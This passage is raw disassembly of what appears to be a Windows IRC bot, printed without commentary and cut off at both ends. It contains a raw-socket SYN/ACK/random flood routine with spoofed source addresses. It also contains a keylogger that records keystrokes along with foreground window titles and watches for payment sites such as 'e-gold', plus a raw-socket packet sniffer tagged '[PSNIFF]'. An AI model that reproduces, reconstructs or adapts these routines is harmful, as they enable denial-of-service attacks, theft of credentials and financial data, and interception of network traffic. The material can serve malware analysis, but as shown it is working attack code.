call dword_441450 ; closesocket
pop esi
loc_401D13: ; CODE XREF: sub_401A6D+5Bj
call dword_441318 ; WSACleanup
mov eax, ebx
loc_401D1B: ; CODE XREF: sub_401A6D+3Bj
pop edi
pop ebx
leave
retn
sub_401A6D endp
; =============== S U B R O U T I N E =======================================
sub_401D1F proc near ; CODE XREF: sub_4019D1+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AE95
push [esp+10h+arg_4]
mov esi, eax
call sub_41791F
push [esp+14h+arg_8]
mov ebx, eax
call sub_41791F
mov edi, eax
call sub_417408
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_401A6D
add esp, 1Ch
test eax, eax
jnz short loc_401D6A
push 1
pop eax
loc_401D6A: ; CODE XREF: sub_401D1F+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401D1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D79 proc near ; DATA XREF: sub_40F6F1+2E33o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_421064
call edi ; GetTickCount
push eax
call sub_4173FE
pop ecx
push 0FFh
push 3
push 2
call dword_441438 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401E42
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset dword_42340C
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401E22
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40DC10
add esp, 14h
loc_401E22: ; CODE XREF: sub_401D79+84j
lea eax, [ebp+var_440]
push eax
call sub_40C4F7
push [ebp+var_BC]
call sub_417174
pop ecx
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_401E42: ; CODE XREF: sub_401D79+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_441398 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_401EC0
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset dword_4233C4
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401EA0
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40DC10
add esp, 14h
loc_401EA0: ; CODE XREF: sub_401D79+102j
lea eax, [ebp+var_440]
push eax
call sub_40C4F7
push [ebp+var_BC]
call sub_417174
pop ecx
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_401EC0: ; CODE XREF: sub_401D79+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4413F8 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_401F30
lea eax, [ebp+var_440]
push offset dword_423394
push eax
call sub_4173AC
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401F10
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40DC10
add esp, 14h
loc_401F10: ; CODE XREF: sub_401D79+172j
lea eax, [ebp+var_440]
push eax
call sub_40C4F7
push [ebp+var_BC]
call sub_417174
pop ecx
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_401F30: ; CODE XREF: sub_401D79+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_4413B8 ; ntohs
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4413F8 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_401F68: ; CODE XREF: sub_401D79+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_40222C
push 28h
mov [ebp+var_2C], 45h
call dword_4413B8 ; ntohs
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401FDB
call sub_417408
mov esi, eax
shl esi, 8
call sub_417408
add esi, eax
shl esi, 8
call sub_417408
add esi, eax
shl esi, 8
call sub_417408
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_401FF1
; ---------------------------------------------------------------------------
loc_401FDB: ; CODE XREF: sub_401D79+233j
push [ebp+var_240]
call sub_40AFAB
pop ecx
push eax
call dword_4413F8 ; inet_addr
mov [ebp+var_20], eax
loc_401FF1: ; CODE XREF: sub_401D79+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_40200F
call sub_417408
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_402015
; ---------------------------------------------------------------------------
loc_40200F: ; CODE XREF: sub_401D79+284j
push [ebp+var_B8]
loc_402015: ; CODE XREF: sub_401D79+294j
call dword_4413B8 ; ntohs
mov [ebp+var_16], ax
call sub_417408
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4413B8 ; ntohs
push 12345678h
mov [ebp+var_18], ax
call dword_4413B4 ; ntohl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402065
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_4020C1
; ---------------------------------------------------------------------------
loc_402065: ; CODE XREF: sub_401D79+2E1j
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402085
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_4020C1
; ---------------------------------------------------------------------------
loc_402085: ; CODE XREF: sub_401D79+301j
lea eax, [ebp+var_1BC]
push offset aRandom ; "random"
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_4020C1
call sub_417408
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_417408
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_4020C1: ; CODE XREF: sub_401D79+2EAj
; sub_401D79+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_4413B8 ; ntohs
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4413B8 ; ntohs
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417490
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_417490
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40B004
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417490
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_417490
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_417430
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40B004
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417490
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_44141C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4021AE
inc [ebp+arg_0]
jmp loc_401F68
; ---------------------------------------------------------------------------
loc_4021AE: ; CODE XREF: sub_401D79+42Bj
push [ebp+var_4]
call dword_441450 ; closesocket
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_423324
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41792A
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_40220C
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40DC10
add esp, 14h
loc_40220C: ; CODE XREF: sub_401D79+46Ej
lea eax, [ebp+var_440]
push eax
call sub_40C4F7
push [ebp+var_BC]
call sub_417174
pop ecx
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_40222C: ; CODE XREF: sub_401D79+203j
push [ebp+var_4]
call dword_441450 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset dword_4232C4
push eax
call sub_4173AC
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_40229D
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40DC10
add esp, 14h
loc_40229D: ; CODE XREF: sub_401D79+4FFj
lea eax, [ebp+var_440]
push eax
call sub_40C4F7
push [ebp+var_BC]
call sub_417174
pop ecx
pop ecx
push ebx
nop
call near ptr 7C80C058h
sub_401D79 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4022BD proc near ; CODE XREF: sub_402368+E2p
; sub_402368+1A4p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = byte ptr 18h
arg_90 = dword ptr 98h
arg_94 = dword ptr 9Ch
push ebp
mov ebp, esp
sub esp, 200h
cmp [ebp+arg_90], 0
jz short loc_40232D
push esi
mov esi, offset aEGold ; "e-gold"
loc_4022D5: ; CODE XREF: sub_4022BD+6Bj
push esi
push [ebp+arg_4]
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_40231C
push esi
lea eax, [ebp+var_200]
push [ebp+arg_0]
push offset dword_424340
push 200h
push eax
call sub_41792A
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_40DC10
add esp, 28h
loc_40231C: ; CODE XREF: sub_4022BD+25j
add esi, 80h
cmp esi, offset dword_423BD0
jl short loc_4022D5
pop esi
jmp short loc_402364
; ---------------------------------------------------------------------------
loc_40232D: ; CODE XREF: sub_4022BD+10j
push [ebp+arg_0]
lea eax, [ebp+var_200]
push offset dword_42433C
push 200h
push eax
call sub_41792A
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_40DC10
add esp, 24h
loc_402364: ; CODE XREF: sub_4022BD+6Ej
xor eax, eax
leave
retn
sub_4022BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402368 proc near ; DATA XREF: sub_40F6F1+49FDo
var_920 = dword ptr -920h
var_91C = byte ptr -91Ch
var_520 = byte ptr -520h
var_4E0 = byte ptr -4E0h
var_2E1 = byte ptr -2E1h
var_2E0 = byte ptr -2E0h
var_E0 = byte ptr -0E0h
var_DC = dword ptr -0DCh
var_58 = dword ptr -58h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 920h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_920], 0
push 26h
and [ebp+arg_0], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_E0]
rep movsd
mov dword ptr [eax+94h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_91C]
rep stosd
call dword_441340 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_441354 ; GetWindowTextA
mov ebx, 200h
loc_4023C3: ; CODE XREF: sub_402368+4A0j
push 8
nop
call near ptr 7C802442h
call dword_441340 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz loc_40253B
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_441354 ; GetWindowTextA
cmp [ebp+var_58], 0
jz loc_4024C0
lea eax, [ebp+var_2E0]
push eax
call sub_417AF0
test eax, eax
pop ecx
jbe short loc_402479
lea eax, [ebp+var_48]
push eax
call sub_417AF0
cmp eax, 1
pop ecx
jnb short loc_402479
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset dword_4243EC
push eax
call sub_4173AC
sub esp, 8Ch
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4022BD
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_417430
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_417430
add esp, 0Ch
loc_402479: ; CODE XREF: sub_402368+9Bj
; sub_402368+AAj
lea eax, [ebp+var_2E0]
push eax
call sub_417AF0
test eax, eax
pop ecx
jbe loc_40253B
lea eax, [ebp+var_48]
push eax
call sub_417AF0
test eax, eax
pop ecx
jbe loc_40253B
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset dword_4243DC
push eax
call sub_4173AC
sub esp, 8Ch
jmp short loc_4024F4
; ---------------------------------------------------------------------------
loc_4024C0: ; CODE XREF: sub_402368+86j
lea eax, [ebp+var_48]
push eax
call sub_417AF0
test eax, eax
pop ecx
jbe loc_4025E6
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset dword_4243B8
push eax
call sub_4173AC
sub esp, 88h
loc_4024F4: ; CODE XREF: sub_402368+156j
push 26h
lea eax, [ebp+var_48]
pop ecx
lea esi, [ebp+var_E0]
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4022BD
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_417430
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_417430
add esp, 0Ch
loc_40253B: ; CODE XREF: sub_402368+6Cj
; sub_402368+120j ...
cmp [ebp+var_58], 0
jz loc_4025E6
push 1
call dword_441384 ; GetAsyncKeyState
cmp ax, 8001h
jnz loc_4025E6
lea eax, [ebp+var_2E0]
push eax
call sub_417AF0
test eax, eax
pop ecx
jbe short loc_4025E6
call dword_441340 ; GetForegroundWindow
lea ecx, [ebp+var_520]
push 3Ch
push ecx
push eax
call dword_441354 ; GetWindowTextA
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset dword_4243DC
push eax
call sub_4173AC
sub esp, 8Ch
lea eax, [ebp+var_520]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4022BD
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_417430
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_417430
add esp, 0Ch
loc_4025E6: ; CODE XREF: sub_402368+164j
; sub_402368+1D7j ...
mov [ebp+var_4], offset dword_423BD4
loc_4025ED: ; CODE XREF: sub_402368+496j
push 10h
call dword_441298 ; GetKeyState
movsx esi, ax
mov eax, [ebp+var_4]
mov edi, [eax-4]
push edi
call dword_441384 ; GetAsyncKeyState
test ah, 80h
jz short loc_402685
push 14h
call dword_441298 ; GetKeyState
test ax, ax
jz short loc_402636
cmp esi, 0FFFFFFFFh
jle short loc_402636
cmp edi, 40h
jle short loc_402636
cmp edi, 5Bh
jge short loc_402636
mov [ebp+edi*4+var_920], 1
jmp loc_4027F3
; ---------------------------------------------------------------------------
loc_402636: ; CODE XREF: sub_402368+2ADj
; sub_402368+2B2j ...
push 14h
call dword_441298 ; GetKeyState
test ax, ax
jz short loc_402661
test esi, esi
jge short loc_402675
cmp edi, 40h
jle short loc_402661
cmp edi, 5Bh
jge short loc_402661
mov [ebp+edi*4+var_920], 2
jmp loc_4027F3
; ---------------------------------------------------------------------------
loc_402661: ; CODE XREF: sub_402368+2D9j
; sub_402368+2E2j ...
test esi, esi
jge short loc_402675
mov [ebp+edi*4+var_920], 3
jmp loc_4027F3
; ---------------------------------------------------------------------------
loc_402675: ; CODE XREF: sub_402368+2DDj
; sub_402368+2FBj
mov [ebp+edi*4+var_920], 4
jmp loc_4027F3
; ---------------------------------------------------------------------------
loc_402685: ; CODE XREF: sub_402368+2A0j
mov esi, [ebp+edi*4+var_920]
lea eax, [ebp+edi*4+var_920]
test esi, esi
jz loc_4027F3
and dword ptr [eax], 0
lea eax, [ebp+var_2E0]
cmp edi, 8
push eax
jnz short loc_4026BD
call sub_417AF0
and [ebp+eax+var_2E1], 0
pop ecx
jmp loc_4027F3
; ---------------------------------------------------------------------------
loc_4026BD: ; CODE XREF: sub_402368+340j
call sub_417AF0
cmp eax, 1B9h
pop ecx
jbe short loc_402703
call dword_441340 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_441354 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_4026F1
lea eax, [ebp+var_2E0]
push eax
push offset dword_42439C
jmp short loc_402746
; ---------------------------------------------------------------------------
loc_4026F1: ; CODE XREF: sub_402368+379j
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset dword_42437C
jmp short loc_402767
; ---------------------------------------------------------------------------
loc_402703: ; CODE XREF: sub_402368+360j
cmp edi, 0Dh
jnz loc_4027C5
lea eax, [ebp+var_2E0]
push eax
call sub_417AF0
test eax, eax
pop ecx
jz loc_4027F3
call dword_441340 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_441354 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_402757
lea eax, [ebp+var_2E0]
push eax
push offset dword_424364
loc_402746: ; CODE XREF: sub_402368+387j
lea eax, [ebp+var_4E0]
push eax
call sub_4173AC
add esp, 0Ch
jmp short loc_402776
; ---------------------------------------------------------------------------
loc_402757: ; CODE XREF: sub_402368+3D0j
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset dword_424348
loc_402767: ; CODE XREF: sub_402368+399j
lea eax, [ebp+var_4E0]
push eax
call sub_4173AC
add esp, 10h
loc_402776: ; CODE XREF: sub_402368+3EDj
sub esp, 98h
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4022BD
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_417430
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_417430
add esp, 0Ch
jmp short loc_4027F3
; ---------------------------------------------------------------------------
loc_4027C5: ; CODE XREF: sub_402368+39Ej
cmp esi, 1
jz short loc_4027DE
cmp esi, 3
jz short loc_4027DE
cmp esi, 2
jz short loc_4027D9
cmp esi, 4
jnz short loc_4027F3
loc_4027D9: ; CODE XREF: sub_402368+46Aj
push [ebp+var_4]
jmp short loc_4027E5
; ---------------------------------------------------------------------------
loc_4027DE: ; CODE XREF: sub_402368+460j
; sub_402368+465j
mov eax, [ebp+var_4]
add eax, 7
push eax
loc_4027E5: ; CODE XREF: sub_402368+474j
lea eax, [ebp+var_2E0]
push eax
call sub_417A10
pop ecx
pop ecx
loc_4027F3: ; CODE XREF: sub_402368+2C9j
; sub_402368+2F4j ...
add [ebp+var_4], 14h
cmp [ebp+var_4], offset dword_424304
jl loc_4025ED
cmp [ebp+arg_0], 0
jz loc_4023C3
push [ebp+var_DC]
call sub_417174
pop ecx
push 0
nop
call near ptr 7C80C058h
sub_402368 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402822 proc near ; DATA XREF: sub_40F6F1+1E5Eo
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_417B70
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp+var_1C]
push esi
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_4413B8 ; ntohs
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AFAB
pop ecx
push eax
call dword_4413F8 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_441438 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_4028F7
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset unk_424D9C
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_4028DA
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40DC10
add esp, 14h
loc_4028DA: ; CODE XREF: sub_402822+96j
lea eax, [ebp+var_2B4]
push eax
call sub_40C4F7
push [ebp+var_30]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
loc_4028F7: ; CODE XREF: sub_402822+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_446E1C[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_4413E4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_40297C
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset unk_424D58
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402958
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40DC10
add esp, 14h
loc_402958: ; CODE XREF: sub_402822+114j
lea eax, [ebp+var_2B4]
push eax
call sub_40C4F7
pop ecx
push edi
call dword_441450 ; closesocket
push [ebp+var_30]
call sub_417174
pop ecx
push esi
nop
call near ptr 7C80C058h
loc_40297C: ; CODE XREF: sub_402822+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_441364 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4029FF
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset unk_424D10
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_4029DB
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40DC10
add esp, 14h
loc_4029DB: ; CODE XREF: sub_402822+197j
lea eax, [ebp+var_2B4]
push eax
call sub_40C4F7
pop ecx
push edi
call dword_441450 ; closesocket
push [ebp+var_30]
call sub_417174
pop ecx
push esi
nop
call near ptr 7C80C058h
loc_4029FF: ; CODE XREF: sub_402822+177j
push ebx
mov ebx, offset dword_424410
loc_402A05: ; CODE XREF: sub_402822+21Bj
; sub_402822+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi
push esi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4413D0 ; recv
cmp eax, 0FFFFFFFFh
jz loc_402B17
cmp [ebp+var_102AB], 6
jnz short loc_402A05
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_402A05
lea eax, [ebp+var_1028C]
push offset aPsniff_0 ; "[PSNIFF]"
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402A05
mov eax, ebx
xor edi, edi
test eax, eax
jz short loc_402A05
mov [ebp+arg_0], ebx
loc_402A73: ; CODE XREF: sub_402822+26Cj
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_402A95
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_402A73
jmp loc_402A05
; ---------------------------------------------------------------------------
loc_402A95: ; CODE XREF: sub_402822+262j
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_4412F4 ; ntohs
movzx eax, ax
push eax
push [ebp+var_C]
call dword_441444 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_424424[eax*8]
push off_424400[eax*4]
lea eax, [ebp+var_2B4]
push offset unk_424CC0
push 200h
push eax
call sub_41792A
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_402B05
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40DC10
add esp, 14h
loc_402B05: ; CODE XREF: sub_402822+2C1j
lea eax, [ebp+var_2B4]
push eax
call sub_40C4F7
pop ecx
jmp loc_402A05
; ---------------------------------------------------------------------------
loc_402B17: ; CODE XREF: sub_402822+20Ej
call dword_44134C ; WSAGetLastError
push eax
push offset unk_424C7C
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41792A
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_402B5D
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40DC10
add esp, 14h
loc_402B5D: ; CODE XREF: sub_402822+319j
lea eax, [ebp+var_2B4]
push eax
call sub_40C4F7
pop ecx
push [ebp+var_4]
call dword_441450 ; closesocket
push [ebp+var_30]
call sub_417174
pop ecx
push esi
nop
call near ptr 7C80C058h
sub_402822 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_402B83 proc near ; CODE XREF: sub_402E92+20Cp
; sub_402E92+232p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43C630, eax
mov eax, offset dword_43C630
retn
sub_402B83 endp
; =============== S U B R O U T I N E =======================================
sub_402B92 proc near ; CODE XREF: sub_402E92+2B8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_402BAC
loc_402BA8: ; CODE XREF: sub_402B92+29j
; sub_402B92+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_402BAC: ; CODE XREF: sub_402B92+14j
push offset aSodoma_3 ; "##sodoma_3"
push esi
call sub_417980
pop ecx
